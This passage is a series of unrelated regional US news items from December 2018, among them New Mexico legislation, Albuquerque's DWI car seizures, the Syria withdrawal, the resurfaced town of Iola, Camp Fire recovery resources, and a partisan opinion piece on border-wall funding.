and Republicans is examining about 80 bills for inclusion on a rocket docket. Proposals accepted into the program would be referred to one committee where public comment is accepted before heading to the floor for a full vote of the chamber. Then they would repeat the process in the other legislative chamber. The typical route is for a bill to go to two or three committees before reaching the floor on each side. Weve designed it in such a way to make this move quickly, Wirth said, but also to make sure theres enough checks that were not doing anything too fast. Bills on the fast track, he said, will have already gone through at least four committees and two floor votes in a previous session. The pre-filing period started Monday and continues through Jan. 11. The session begins Jan. 15. The bills are already rolling in. Among them are proposals to: Increase the minimum wage. Expand background-check requirements for gun sales. Restore the voting rights of felons. Allow independent voters to participate in primary elections. Prohibit coyote-killing contests. The ideas are likely to keep coming through Feb. 14, the deadline to introduce bills, about halfway through the session. This week, much of the talk in the Roundhouse where committee and transition meetings are already underway has focused on the increased volume of bills expected for introduction. Everyone seems to have a higher estimate than the last 3,000, 4,000, even more? Lawmakers filed about 1,500 pieces of legislation bills, memorials, constitutional amendments and the like in the last 60-day session, in 2017. I dont see how thats good for anybody, Rep. Kelly Fajardo, R-Belen, said of the potential for the bill volume to more than double beyond the usual amount. I just hope we slow it down, and we realize this money is not going to be here forever. House Majority Whip Doreen Yvonne Gallegos, D-Las Cruces, said its important to set reasonable expectations. She is urging her constituents to remember that each bill deserves thoughtful consideration to avoid unintended consequences. But with 20 new members in the House, she said, enthusiasm is building. People are excited, Gallegos said, and we should embrace some of that and see what we can pass. Some of this has been around for a bit, and its time it gets through. Unbelievable: U.S. agrees to give Mexico more than $10 billion but there are NO dollars for the border wall Sometimes its hard to tell if the powers that be are completely tone deaf to the desires of most Americans or if they do things purposely to thumb their noses at us, and this is one of those occasions where it could go either way. As readers are likely aware, POTUS Donald Trump has been using the full weight of the Executive Branch to cajole, threaten, or otherwise convince lawmakers to provide funds for his oft-promised border wall. Its necessary not because America is a racist country but because our open southwestern border has been a conduit for deadly drugs, criminals, and endless caravans of mostly poor migrants. For two years the Republican-controlled Congress failed to provide the presidents requested funds (which, he says, will be reimbursed if the legislative bodies of the U.S., Canada, and Mexico approve a renegotiated trade agreement the president also promised during his 2016 campaign). Now its too late: Open borders Democrats will be taking over the House in January, where all funding bills must originate. Worse that that, however, is the fact that the U.S. is set to pay out more than double the amount POTUS Trump wants for border wall construction in the next fiscal year to Mexico and countries in Central America: $10.6 billion. Some of this money will come from private-sector investment and the objective to create opportunities for chronically poor residents of southern Mexico, Guatemala, and Honduras in their home countries so they dont want or need to risk life and limb traveling to the United States is admirable. But for lawmakers to approve funding for projects and economic development somewhere other than the United States while flat-out refusing to provide security for their own people is going to outrage tens of millions of Americans. (Related: Democrats angry over death of migrant girl in CBP custody should blame THEIR open borders policies.) Americans will see this as a slap in the face The Associated Press reported on the amounts of money involved, as well as what it will be used for: The United States pledged $5.8 billion in aid and investment Tuesday for strengthening government and economic development in Central America, and another $4.8 billion in development aid for southern Mexico. The U.S aid aims to promote better security conditions and job opportunities as part of a regional plan to allow Central Americans and Mexicans to remain in their countries and not have to emigrate. The combination of public and private investment for the stay-at-home effort doesnt require congressional approval, unlike Trumps signature project to stem illegal immigration a border wall. The funding will come from the Overseas Private Investment Corporation, or OPIC, a government entity created in 1971 by President Richard Nixon for the purpose of helping American businesses invest in development in emerging markets, according to its website. The agency is reportedly self-sustaining, meaning it does not receive any taxpayer funding. OPIC operates on a self-sustaining basis as no net cost to American taxpayers and has generated money for the U.S. Treasury for 39 straight years, the website notes. But heres what Americans angered by this will see: Guatemalans, Salvadorans, and Mexicans will get security but Americanswont. No border wall. And economic development that could be better spent on American workers. And theyll see that the Deep State/open borders/corporate wing of government is getting its way, again: Since the funding comes from OPIC, a federal agency, the American people, through their elected representatives, will have no say over any of this. If that isnt a massive slap to the faces of the nearly 64 million Americans who put POTUS Trump in the Oval Office, nothing is. Its almost as if the D.C. elites are trying to spark a revolution of the kind were currently seeing in France with the yellow vest protesters. Because this kind of callous disregard for the will of the people will surely become intolerable at some point. Read more about our Leftist open borders policies at OpenBorders.news. Sources include: OPIC.gov APNews.com InvasionUSA.news Albuquerque Public Schools Superintendent Raquel Reedy was approved to lead the helm of the states largest school district for another year, extending her commitment to June 2021. The new contract reflects a roughly $8,000 salary increase to mirror other district employees increases that went into effect this fiscal year. The APS Board of Education voted 6-1 to approve Reedys contract, with member Peggy Muller-Aragon dissenting. Muller-Aragon did not explain during the vote why she was against the approval. Reedys salary went from $240,000 to $248,727.14 to mirror an average three percent increase employees received starting July 1, according to Board President David Peercy. Peercy told the Journal Reedy makes below what average superintendents of large districts make across the country. In a statement read aloud at the meeting, the board president applauded Reedy. Superintendent Reedy has proven to be a collaborative, nurturing leader for Albuquerque Public Schools, he said. He added the district has seen academic gains, fiscally responsible governing and innovative teaching among other benefits. And the statement goes on to say extending the contract allows Reedy to continue her work. Reedy was out sick from Wednesday nights meeting. She still has to officially sign off on the contract. After its official, the contract will be available to the public. Peercy said every year the district revisits the superintendents contract, which has typically been conducted in December. Next year, the contract renewal will be bumped up a few months due to changes in when board of education elections will take place. The board has been going through the evaluation process for months behind closed doors in executive session. Each board member filled out an evaluation and Reedy completed a self-evaluation, too. Reedy became acting superintendent in August 2015 and was officially put into the role in 2016. Shes been with APS since 1977, having been a teacher, personnel specialist, principal and associate superintendent. Although, she first kicked off her career in Boston as a teacher for students who had visual impairments. Reedy has a masters degree in education from Harvard University and a bachelors degree in elementary education from the University of Texas at Austin. WASHINGTON The question of averting a partial shutdown of the federal government has moved from the Senate to the House. Senators late Wednesday approved by voice vote a measure that keeps the government funded to Feb. 8. The House is expected to vote on the measure before the midnight Friday deadline. The measure doesnt include the money President Donald Trump has demanded for his proposed border wall with Mexico. Trump still must sign a funding bill into law to avert a shutdown of some government agencies. While the White House has indicated that Trump is open to reviewing whatever Congress passes, the president hasnt weighed in on the stopgap measure. Many Trump supporters are frustrated that he appears to have retreated on his shutdown threats over wall funding. Copyright 2018 Albuquerque Journal Court documents show Albuquerque police are still taking cars from certain drunken driving suspects under a city ordinance that the Court of Appeals recently ruled completely contradicts a state law. City officials are meeting this week to determine what changes will be made to the citys vehicle seizure program after the courts ruling, a spokeswoman for Mayor Tim Keller said. Santa Fe, on the other hand, quickly suspended its seizure program after the Dec. 5 ruling, which said vehicle seizure programs such as the one in Albuquerque dont comply with the New Mexico Forfeiture Act. But as recently as Saturday evening, a criminal complaint filed in Metropolitan Court showed Albuquerque police were still taking vehicles to their seizure lot. The complaint said Albuquerque police pulled over Norman Salazar, 51, for driving a car without a license plate near 12th Street and the Interstate 40 frontage road. A passenger in the car said she owned the vehicle. Police arrested Salazar for suspicion of driving with a license suspended because of a DWI charge and had the car towed to the seizure lot, according to the complaint. A police spokesman didnt say Wednesday how many seized cars are in the citys possession. People whose cars were recently taken by police are waiting to see what happens to their vehicles, according to one woman whose car is in the citys seizure lot. On Wednesday, the city postponed hearings that had previously been scheduled by owners whose cars had been taken. Delilah Baker of Albuquerque arrived for her hearing Wednesday morning. She was told her hearing had been rescheduled for next Wednesday. Her car was taken earlier this month after she was arrested for suspicion of drunken driving. Whats going to happen now? she asked as she wondered out loud whether she was going to continue to rack up storage fees as she waits for another hearing. I have to depend on rides from my mom and sister. Albuquerque police for years have seized cars under a city ordinance that allows the city to take control of vehicles driven by someone arrested for the second or subsequent drunken driving offense or for driving on a license revoked because of a DWI. The cars are towed to a seizure lot, and owners must pay fines and storage fees and negotiate the terms of the vehicles release from the city. Those terms normally include having the car booted for a couple of months and paying a hefty fine, sometimes of more than $1,000, according to Journal reports. In some cases, if an agreement isnt reached, the city will take ownership of the vehicle and sell it at auction. At times, the owners of a vehicle were not driving when the car was seized. And vehicles have been taken from owners whose relatives were driving the car without permission, according to prior Journal reports. The lawsuit that resulted in the Court of Appeals ruling was filed on behalf of Wilfredo Espinoza, whose car was taken by Albuquerque police after his arrest for suspicion of drunken driving. A lawsuit filed on Espinozas behalf argued that the city needed to follow the state forfeiture law. The Court of Appeals found that citys vehicle ordinance frustrates, and, in fact, completely contradicts the forfeiture law, which was amended in 2015 to sharply curtail when and how law enforcement could take property from someone. Thomas Mescall and Phillip Baca, Espinozas attorneys, said they hadnt heard from the city about whether it planned to appeal the Court of Appeals ruling. But they said in an interview they were surprised to hear that the city was still seizing cars. If the city persists, Phil Baca and I will immediately file an action to put an end to that program. The city of Santa Fe immediately suspended its DWI forfeiture program, Mescall said in an interview. The city of Albuquerque should have known since 2015 that it was running a rogue operation. The city needs to understand that it is not above the law. The City is looking at how to balance the need to keep roads clear and safe from drunk drivers against the concerns raised in recent court cases. We have already taken action to halt the problems with the forfeiture program that the Mayor raised red flags about earlier this year, said Alicia Manzano, communications director for Mayor Tim Keller. The appeals court decision is just one of two recent rulings that have found flaws with Albuquerques vehicle seizure program. U.S. District Judge James Browning said Albuquerques vehicle seizure program violated due process protections in the U.S. Constitution. WASHINGTON Military leaders were scrambling Thursday to devise a swift but safe departure of troops from Syria, as outraged lawmakers appealed to President Donald Trump to reverse an abrupt withdrawal order that rattled Washingtons allies and was a key factor in the resignation of Defense Secretary Jim Mattis later in the day. Defense officials said U.S. airstrikes would continue until all the approximately 2,000 U.S. troops are out of Syria, but it was unclear whether the air campaign would then end. Officials said it might depend on whether France and other coalition partners keep ground troops in Syria after the Americans leave. A continued presence of allied troops working with local Syrians might compel the U.S. to contribute air cover. The Pentagon, roiled first by the surprise withdrawal order from Trump and then the abrupt resignation of Mattis, offered no information about how the withdrawal will happen or how long it will take, apparently because they dont know. Two officials speaking on condition of anonymity to discuss internal planning said Gen. Joseph Votel, head of U.S. Central Command, will submit a comprehensive withdrawal plan to top Pentagon officials in coming days. One official said military commanders are concerned that the pullout will leave their Syrian Kurdish allies in the lurch. Turkey, which considers the Kurds a security threat, has said it intends to send its army into Syria to clear them out. Until now, Turkey had to consider the presence of U.S. troops; once they are gone, a bloody clash seems inevitable. Sen. Lindsey Graham, R-S.C., said on Thursday that Mattis had told him he is worried about the Kurds and this is not the right time to leave. I wont get into conversations between Mattis and the president, but I will tell you what he told me: He thought that the time was not right to leave, Graham said at a Capitol Hill news conference. Mattis believes that the day we leave its going to be open season on every Kurd whos supported us, he said. The Kurdish-led Syrian Democratic Forces, who have partnered with U.S. troops for years as the key force against IS militants, said in a strongly worded statement laced with bitterness that the fight against IS was at a decisive stage that requires even more support from the U.S.-led coalition. The war against terrorism has not ended and (the Islamic State group) has not been defeated, the statement said. Graham said Mattis also expressed concern about the more than 700 Islamic State fighters being held by the SDF, saying they could be released and end up back on the battlefield. The militants still hold a string of villages and towns along the Euphrates River in eastern Syria, where they have resisted weeks of attacks by the U.S.-supported Syrian Democratic Forces to drive them out. The pocket is home to about 15,000 people, among them 2,000 IS fighters, according to U.S. military estimates. From the start of his administration, Trump had made no secret of his desire to pull out of Syria. But the timing of his announcement Wednesday remains a puzzle. His national security adviser, John Bolton, Mattis and other top leaders argued against the pullout, but were unable to change Trumps mind. Graham and Democratic Sens. Bob Menendez of New Jersey and Jack Reed of Rhode Island say they have growing support for a resolution urging the president to change his strategy. Graham, who usually is a strong Trump supporter, has savaged the pullout decision as wrong-headed, ill-timed and a gift to Americas adversaries. I cant explain this decision, Graham told reporters. Im not going to suggest motivations that are anything other than a frustrated president. But I can promise this: that if you follow through with this everything that happened in Iraq is going to happen in Syria. Its going to be worse, not better. Its going to make it harder to make the Taliban reconcile. His Taliban reference was to U.S. efforts to promote peace in Afghanistan. On Thursday, Trump defended his decision, saying on Twitter: Getting out of Syria was no surprise. Ive been campaigning on it for years, and six months ago, when I very publicly wanted to do it, I agreed to stay longer. He added: Does the USA want to be the Policeman of the Middle East, getting NOTHING but spending precious lives and trillions of dollars protecting others who, in almost all cases, do not appreciate what we are doing? Do we want to be there forever? Mattis and other senior administration officials have argued publicly for months that it would be in the best interests of the United States to remain in Syria long enough to ensure a lasting defeat of the Islamic State militants, who have been greatly diminished but not eliminated. Gen. Joseph Dunford, chairman of the Joint Chiefs of Staff, recently said the Pentagon estimates that 35,000 to 40,000 local security forces are needed to ensure stability in northeastern Syria. As of December, Dunford said, only about 20 percent of those forces have been trained. Secretary of State Mike Pompeo, who is known to have opposed leaving Syria now, defended the Trump decision Thursday. The president made an enormous commitment to take down the caliphate, and that has been achieved, he said. We now have the battle, its a long-time battle, which is the counterterrorism battle, not only against ISIS, but against al-Qaeda and others , all the terrorist groups. President Trump remains just as committed today as he was yesterday and the day before. Trump pushed back against Graham in a tweet, writing: So hard to believe that Lindsey Graham would be against saving soldier lives & billions of $$$. Why are we fighting for our enemy, Syria, by staying & killing ISIS for them Russia, Iran & other locals? Its true that Syrian President Bashar Assad considers the Islamic State militants a threat, and that Assad has been supported by Iran and Russia in his civil war against a range of opposition fighters. The stated purpose of the U.S. military presence, however, was not to defend Assad but to defeat the Islamic State while pressing for a U.N.-brokered diplomatic solution to the civil war. ___ Associated Press writer Matthew Lee contributed to this report. GUNNISON COUNTY, Colo. The cold is just the cold. Bob Robbins and Bill Sunderlin know it all too well. Negative 2? Thats nothing, says Sunderlin, 78. Childs play, says Robbins, 69. Their feet crunch the snowy ground floor of the Blue Mesa Reservoir, the land they know as Iola, the town that was here before the dams construction starting in 1962. They were among ranching families whose homes would be submerged by the dark depths of Colorados largest body of water. Iola was sacrificed with the bigger Sapinero and smaller Cebolla. The people are gone, most anyway Robbins and Sunderlin dont know of many others who stayed like them, settling in higher ground nearby. And the town is gone, though not entirely. Old foundations, semblances of fence lines and corroded remains of farm life have returned to daylight. As a devastating drought dragged on this summer, as the Blue Mesa dropped to this centurys lowest levels, Iola re-emerged, enthralling Western Slope dwellers who didnt know of its sunken existence. As the stark reality of a drier climate settles in, they find a refreshing distraction in Iola. But Robbins and Sunderlin, they only find harsh reminders. Well, weve had our ups and downs over the years, says Sunderlin, his voice low and grainy over the chilly gust. The downs come when the water is low enough to see what they lost. The memories come flowing back, as they did for Robbins mother in 2012, he recalls, back during the last driest year before this one, back before she died. She just bawled like a baby, he says. Its all coming back now on this visit. The wavy fields of hay. The shimmering stream beneath the cottonwoods, and the fish the size of monsters in a little boys eyes. The neighing of horses and lowing of cattle, and the endless sky that blushed above the hills. How green everything was. How they hid around the rock up there, where the teacher couldnt find them. The song they sang: Were in our places with sun-shining faces And, oh yes, the cold. The blistering cold. Those cold, long days of work and those nights by the fire. That was cold. Not today. Its gotten warmer all right, they say. The temperature has nothing to do with the pain theyre feeling now. If people ask me, I will come out here and talk to em about it, says Robbins, as he and Sunderlin have done for reporters this season, because they cant let the past die. But no, I dont just come out here and sit. Its just yeah its very painful. Theirs are a couple of stories collected by David Primus over his years of researching life before the Blue Mesa. A community engagement facilitator at Western Colorado University and longtime Gunnison resident, he has presented regularly at the local library. Crowds always show. Its not me, Primus says. Its because its not there. Wide-eyed young people, people with no memory of the valley before the flood, tell him their drives west along the shore to Montrose never will be the same. If youre older than 65, and youre local, you remember it, Primus says. So for older people, its just being reminded of what was lost. Ive had several people come up to me afterwards, this one woman I remember the most. She said, I almost didnt come, because I didnt think I could handle it.' The number of people displaced is uncertain. Primus guesses between 200 and 300. Put it this way, Sunderlin utters, it wasnt enough to fight the government. The prospect of hydroelectricity, as well as storage and mass recreation, grew in the minds of regulators. So grew a dark cloud over the hayfields. The problem was the resistance was just local here, Robbins says, recalling the populations in either direction taking on the role of bystander. They promised them cheap electricity for the rest of their lives. They were more than willing to have a pond out here rather than a river. Perhaps they figured the human casualty would be minimal. Not that many in the big picture, Primus says. But for those 200, 300 people, they lost their livelihoods, often times lost ranches that had been in the family for four generations. Robbins is an example, his ancestors having homesteaded the AK Stevens Ranch in the 1870s. Sunderlin grew up about 2 miles downstream at the Tex Lodge Ranch Resort, one of several tourist outfits rooted in the valley. Best-known was the Sportsmans Home, hosting the likes of John Wayne and Herbert Hoover over the years. The fishing took on a mythical quality, some of the best catches of the West reported right here. Primus learned of a tradition: Far upstream at a Sapinero hotel, a boy would report the spring larva hatch, and his father would send word across the land, attracting far away visitors. It wasnt only fishing that put Iola on the map. After the railroad came in 1881, the town became a pivotal stop for loading cattle on their way to market. Robbins and Sunderlin remember leaving school to help, and the nickel-priced reward of a candy bar at the convenience store. Then, the road came, like an alarm sounding. You could hear em, Robbins says, looking out to the blown corners of the canyon. It was like World War III. And the trees. What they did to the trees. It looked like they were just dropping bombs on em. Just sticks, sticking up. Sunderlin remembers the machines. How they got bigger, fiercer. When they were clearing here, they had a D8 with a shear blade, a big blade that curled down, chopped the trees. Then they came in with a D7. Robbins distinctly remembers the summer. The summer of 63. That summer, we went ahead and put the hay up, baled it and sold it all. The year before, this was still the home ranch. The house was burned. Mom and Dad couldnt watch, neither could the teenaged Robbins, but Grandma did. Auctions were held all over, farmers flocking for equipment, collectors for antiques. Some buildings were saved, including the schoolhouse, which now sits just over the hill, the modified home of Sunderlin. He keeps pictures there. Him with his horse, Chico. Him with his dog, Bingo. Him as a smiling kid with that sun-shining face. And Robbins keeps pictures, too, taken with the camera some down-on-his-luck passerby left Dad in exchange for 5 gallons of gas. Robbins never thought to use it, until it was all coming to an end. If I knew then what I know now, I wouldve taken pictures all up and down this valley. Robbins and Sunderlin can see it now, the paradise before this hard, blank canvas. They stop at the cement base of a flag pole, on which they still can make out their initials. They move on to the cut legs of a windmill. At a foundation that they believe was a barn, they sift through mangled tools, too contorted to determine their former purpose. But how amazing to find them still. You know, they made it very clear to us that this ground would be a mud flat, Robbins says. I mean, they didnt envision this all to be here right now. They expected mud. They thought this would cover up so fast that nobody would ever come out and see it. The thought lingers for a moment, silence but for the cold wind. Iolas sons trudge back to their trucks, leaving footprints soon to fade in the snow. And the sun shines on their faces, but theyre not smiling now. ___ Information from: The Gazette, http://www.gazette.com With gasoline prices dropping fast in New Mexico and elsewhere, a record number of travelers are expected to hit the road this holiday season. AAA New Mexico estimates about 8.5 million Mountain Region residents will move by road, rail and plane during the 11-day, year-end travel period that starts this Saturday and runs through Tuesday, Jan. 1. About 7.6 million of them will travel by car, up 4.6 percent from last year. The regional trend reflects a national wave of year-end reveler mobility, with about 102.1 million motorists expected to take road trips during the holidays, said AAA New Mexico spokesman Joshua Zuber. Its the highest number of travelers on record, in the Mountain Region and nationally, since AAA began tracking seasonal travel in 2001, Zuber said. Low gasoline prices are fueling motorist enthusiasm. New Mexicos statewide average hit $2.27 a gallon for unleaded regular on Thursday, its lowest level since August 2017, according to AAA. Nationally, the price was $2.36 a gallon, down about 55 cents from early October, when prices started dropping. That translates to between $10 and $20 less per fill up for most consumers compared with two months ago, said Patrick DeHaan, head of petroleum analysis at Boston-based Gas Buddy, which tracks gasoline prices nationwide. Overall, motorists are shelling out $200 million less every day since early October, DeHaan said. Thats substantial savings. In New Mexico, Albuquerque motorists are paying the least amount for gas, with the average price at $2.15 per gallon on Thursday, according to AAA. Some stations are selling below $2 per gallon. At Murphy Express at 2707 Carlisle NE, motorists filled up at $1.97 a gallon Thursday morning. Theres a real psychological factor when the price goes below $2 a gallon, said Brian Gutierrez, a Sandia National Laboratories employee, while filling his Honda Civic at Murphy Express. You feel better about going to the pump. Arizona retiree Ollie Franklin, another Murhpy Express customer, said low prices have made traveling to Albuquerque a lot cheaper for him and his wife. Its been a blessing, Franklin said. Were saving a lot. The good times could keep rolling into January, with prices possibly dropping more before hitting bottom, DeHaan said. That reflects plummeting crude oil prices, which have fallen from about $75 a barrel in early October for U.S. benchmark West Texas Intermediate to about $47 now. World oversupply, combined with sluggish global demand, is pushing the industry into a new downturn. The Organization of Petroleum Exporting Countries agreed this month to cut production by 1.2 million barrels a day starting in January, which could stabilize prices at an average of $50 per barrel in 2019, said Daniel Fine, associate director of New Mexico Techs Center for Energy Policy. But for significant price recovery, OPEC needs to cut about 1.7 million barrels per day, and daily U.S. production must slow by at least 500,000 barrels. Theres just not enough of a cutback in the OPEC agreement, Fine said. Schools of choice withhold information from potential applicants who appear costly to educate, study finds New research shows that charter schools and traditional public schools of choice ignore application inquiries from students they perceive as more challenging to educate, and charter schools ignore inquiries from special needs students at higher rates. Do schools of choice encourage applications from disadvantaged or costly-to-educate students? Do charter schools and traditional public schools of choice differ in this behavior? The difficulty in answering these questions fuels controversy regarding the potential expansion of school choice. Isaac McFarlin Jr., an assistant professor of education and economics at the University of Florida, and Peter Bergman, an assistant professor of economics and education at Teachers College, Columbia University, designed and implemented a nationwide mystery shopper experiment to determine whether charter schools withhold information from certain groups of students at similar rates as traditional public schools. The study uncovered significant differences between charter schools and traditional public schools in the rates at which they respond to specific types of inquiries from parents. The evidence suggests schools of choice are less likely to encourage applications from students who have poor behavior and low prior achievement, but charter schools withhold application information from special needs students at higher rates. To conduct the study, the researchers sent emails from fictitious parents to 6,452 charter and traditional public schools of choice across 29 states. The baseline email asked whether any student is eligible to apply to the school and how to apply. To test whether schools are less likely to respond to different types of students, each email signaled one of the following randomly assigned attributes about the student: disability status, poor behavior, high or low prior academic achievement or no indication of these characteristics. The emails randomly varied students implied race, household structure and gender. Our main goal in conducting this research was to provide rigorous experimental evidence on whether schools of choice discriminate against certain groups of students, McFarlin said. This involved setting up a horserace between the admissions behaviors of charter schools and nearby traditional public schools of choice, which may also attempt to limit access to disadvantaged students. Charter schools are open-enrollment public schools that have greater operational autonomy than traditional public schools and are held accountable for student achievement. Some 7,000 charter schools currently enroll nearly 3 million students in 43 states and the District of Columbia. Federal law prohibits all public schools from discriminating on the basis of race, religion, national origin and disability status. National data indicate that charter schools enroll a smaller proportion of students with severe disabilities than traditional public schools, although the evidence from specific locations is more nuanced. This research looks at whether traditional public schools and charter schools differ in how they behave before families apply to determine whether they withhold application information from certain groups of students. Results are largely similar for the two groups of schools, but the study found traditional public schools to be significantly 5.8 percentage points more likely to respond to messages indicating special needs than charter schools. The researchers also looked at results from subsamples of schools, including no excuses charter schools. No-excuses charter schools are typically high-performing schools that serve predominately minority students and fewer students with disabilities. No-excuses charter schools were 10 percentage points less likely to respond to the message indicating a student has special needs than to the baseline message. This is one of the most striking findings of the study, McFarlin said, because it raises the question of whether high-performing charter schools are successful in part because they screen out the costliest-to-educate students from their applicant pools. Many youth benefit greatly from attending charter schools, Bergman said, but some groups may fall through the cracks in the admissions process. Our hope is that this study leads to constructive dialogue on policies that foster equal access. The study also presents evidence that the costs of serving students is a factor in school behavior. The researchers find that charter schools in states that reimburse districts for a large share of the realized cost of serving special-needs students exhibit no differential response rate to messages indicating a special need. If discrimination arises because schools are financially constrained, policymakers may want to encourage schools to pool resources to provide high-quality services for all children. Recovery Butte County Recovers has everything Camp Fire evacuees and victims need to know about the recovery process. To view the website, CLICK HERE. Debris Removal Process The Environmental Protection Agency's map of ongoing debris cleanup efforts can be found by CLICKING HERE. Right-of-entry forms can be found by CLICKING HERE. Reopened Businesses As the clean-up process continues in wake of the Camp Fire, some businesses in Paradise are reopening their doors. A Facebook group has been created to support businesses affected. You can find out which businesses are open HERE. Call Line Information The Town of Paradise Call Center: (530) 879-3708, (530) 879-3712, (530) 879-3713 (for town information) Open 6 a.m. - 6 p.m. daily. The Fire Public Information Line: (530) 538-7826 (fire information) BUTTE 2-1-1 is a 24/7 resource for questions from Camp Fire evacuees (For more information CLICK HERE) Finding Loved Ones To view the Butte County Sheriff/Coroner's latest Missing Persons List, CLICK HERE. If you have been evacuated due to the Camp Fire please register and search for registered evacuees as well. To visit the Red Cross Safe and Well website, CLICK HERE. Support Groups The Chico Women's Club - 592 E 3rd St, Chico Offering various support group sessions to help evacuees through the grief experienced during the devastating Camp Fire. For a list of times that the classes are taking place, CLICK HERE. Mobile Registration Intake Centers Mobile Registration Intake Center (MRIC): The sole function of MRICs is to register survivors. MRIC's move around regularly and may be in an area for a short period of time to reach survivors who need registration help only. Mobile Registration Vehicle MRIC 1: Butte County Fairgrounds 199 E Hazel St, Gridley, CA MRIC 2: DeGarmo Dog Park 199 Leora Court, Chico, CA MRIC 3: Feather Falls Casino & Lodge 3 Alverda Drive, Oroville, CA Open 9 a.m. - 5 p.m. as needed FEMA FEMA Disaster Assistance Helpline if you have questions about the help offered by FEMA. Open from 7 a.m. to 11 p.m. ET, 7 days a week: 1-800-621-3362 (also for 711 & VRS) TTY 1-800-462-7585 You can also send an email from the Disaster Assistance web form. CLICK HERE for more information. You can also write in to this address: FEMA P.O. Box 10055 Hyattsville, MD 20782-8055 Plumas County Information: For any displaced Butte County citizens that are currently receiving shelter and or aid in Plumas County please register with the FEMA Disaster Registry. County personnel can assist you with this registration if you do not have the ability via phone or internet. Paradise The town of Paradise has put together a website for anyone seeking information about the Camp Fire. To view the website, CLICK HERE. Finding Pets/Livestock Various shelters have been set up throughout Butte County to house animals displaced by the Camp Fire, however, the target date to close these shelters and transition the animals into long-term sheltering is Jan. 4. There is a hotline set up for those seeking information on the reunification process. Shelter Hotline and Reunification Specialists: (530) 895-0000. The hotline is open daily from 8 am to 4:30 pm. For more information on the reunification process, CLICK HERE. Fostering Animals A Facebook page was created to connect people who need a temporary foster home for their animals. To go to the page, CLICK HERE. For information about fostering pets, rescued pet reunification and more, visit the North Valley Animal Disaster Groups website by CLICKING HERE. Housing Visit CampFireHousing.org to see a list of available housing in the area for Camp Fire evacuees. Mendocino Red Bluff Recreation Area BBQ's, showers, toilets and spaces for campers on site. Contact: Martin (530) 527-2813 Medical Oroville Hospital is offering health services to anyone who needs to be treated for burns, smoke inhalation or if they are in need of medication. Evacuees can visit the following locations: Ampla Health Medical Clinic - Silver Dollar Fairgrounds (2357 Fair Street, Chico) Monday through Friday from 8:30 a.m. - 4:30 p.m. Dove's Landing Urgent Care - 2450 Oro Dam Boulevard 9 a.m. - 7 p.m. Contact: (530) 712-2310 Oroville Comprehensive Care Walk-In Clinic - 900 Oro Dam Boulevard Monday through Friday from 8 a.m. - 8 p.m. Saturday and Sunday from 9 a.m. - 5 p.m. Contact: (530) 534-9183 Urgent Care Walk-In Clinic - 2767 Olive Highway 7:30 a.m. - 7:30 p.m. Contact: (530) 532-8542 Food Dignity Health's Connected Living Food Bank is offering free food to all those affected by wildfires. For more information, CLICK HERE. Childcare E-Center Head Start is providing free temporary childcare for Camp Fire Victims, funded by North Valley Community Foundation. Ages 0-5, from Dec. 4 - Dec. 31, 7:30am - 3:30 pm. 1567 Booth Drive, Gridley, Ca 95948 You can apply here, or by calling (866) 417-4255 Donation Pick-Up EV Free Church - 5095 Pentz Rd, Paradise. Open Monday through Saturdayfrom 9 a.m. - 4p.m. Paradise Church of the Nazarene - 311 Circlewood Rd. (Neal Rd. and Skyway), Paradise. Open Monday through Saturday from 9 a.m. - 4 p.m. "Angels Among Us" Magalia Community Church - 13700 Skyway, Magalia Open 7 days/week from 10 a.m. - 8 p.m. First Assembly of God - 1137 Arbutus Avenue, Chico Open Sundays 12 4 p.m. Chico Church of Christ - 995 E. Lassen Ave, Chico Tuesday through Saturday from 10 a.m. 2 p.m. and 4:30 p.m. 7:30 p.m. Support Services and Discounts Christmas for Camp Fire Survivor Families ECV (E Clampus Vitus) is putting on a Fill the Truck event so Christmas can be provided to families impacted by the Camp Fire. The event will be held in Oroville on Saturday, Dec. 8, 2018, at Best Self Storage at 3005 Feather River Blvd. Applications for families with a newborn to 17-year-olds can apply. You will be asked to show proof of residence in the fire zones. You can sign up by Dec. 20., but the Christmas gifts will be given away on a first-come-first-served basis. Families who have a pregnancy with an as yet unborn child also qualify for the program. The application forms are available at Best Self Storage in Oroville. Chico Art Center - 450 Orange St # 6, Chico Starting in December, the center will be opening all classrooms every Sunday from 10 a.m. - 4 p.m. for working spaces for any artists displaced by the fire. They will also be accepting donations at the docent desk in the gift shop from 12 - 4 p.m. Disaster Recovery Center - Chico Mall (former Sears building) Open 9 a.m. - 7 p.m. starting Friday, Nov. 16. The center helps connect victims and evacuees with resources to help rebuild and recover. Federal, state, regional and local resources provided. Rabobank is suspending late and overdraft fees for Camp Fire-impacted customers whose accounts are based at the banks Magalia, Paradise and South Chico branches. The AAA emergency response trailer is stationed at the Butte County Fairgrounds, 199 E Hazel St, Gridley. It's open daily from 7 a.m. - 7 p.m. and is fully staffed to help with home and auto claims. T-Mobile is offering free calls, texts and data to T-Mobile a Magenta prepaid customers in affected areas of the Camp Fire who are not already on an unlimited plan. T-Mobile is also sending chargers, loaner devices with service and other supplies like water and masks to impacted areas and select local stores. Several insurance companies are setting up booths on Meriam Park and East 20th Street in Chico to help Camp Fire victims with any insurance questions. Bidwell Presbyterian Church is opening its doors to members and friends of Craig Memorial Congregational Church of Paradise, which was destroyed in the Camp Fire. Nantucket Home - 6th and Broadway, Chico They are offering 30 percent off and tax-free for upholstery lines and case good lines for evacuees of the Camp Fires. BUTTE COUNTY, Calif. - Chico firefighters received a special surprise from around 400 local students Wednesday in the form of a thank you. Students at Little Chico Creek Elementary wanted to do something to thank firefighters for all their hard work after the Camp Fire. Kids from first to fifth grade prepared unique gifts for the firefighters including stockings, books and even a giant "thank you" sign. The firefighters said that they loved the surprise but had to leave early to respond to an emergency. Students were also presented good citizenship awards for being helpful. Photographer Jimmy Nelson is sending a warning that the world is at risk of losing its global cultural heritage by squandering the cultural identities of the last indigenous peoples. The photographer launches a bid to preserve cultural diversity by issuing the caution: BLINK. AND THEYRE GONE. A warning that if we dont engage with indigenous cultures now, they will be gone forever. This is illustrated by a campaign conceptualized and created in a joint effort between J Walter Thompson India and J. Walter Thompson Amsterdam. The campaign kicks off with a short film titled BLINK. AND THEYRE GONE made using over 1500+ photographs taken by Jimmy Nelson during his journeys into the far corners of the world, showing the never-seen-before images of 36 of the last indigenous communities of this earth. The images were selected from over one hundred thousand images, covering every picture of indigenous people that Nelson has taken over the last 30 years. The film took 90 days to edit, and features startling images of the Huli Wigmen from Papua New Guinea, the Kazakhs of Mongolia, the Sadhus of India, the Wodaabe from Chad - and countless others. The film was directed by J Walter Thompson Indias Chief Creative Officer, Senthil Kumar, working closely with J. Walter Thompsons Global Creative Lead, Bas Korsten, who is based in Amsterdam. The 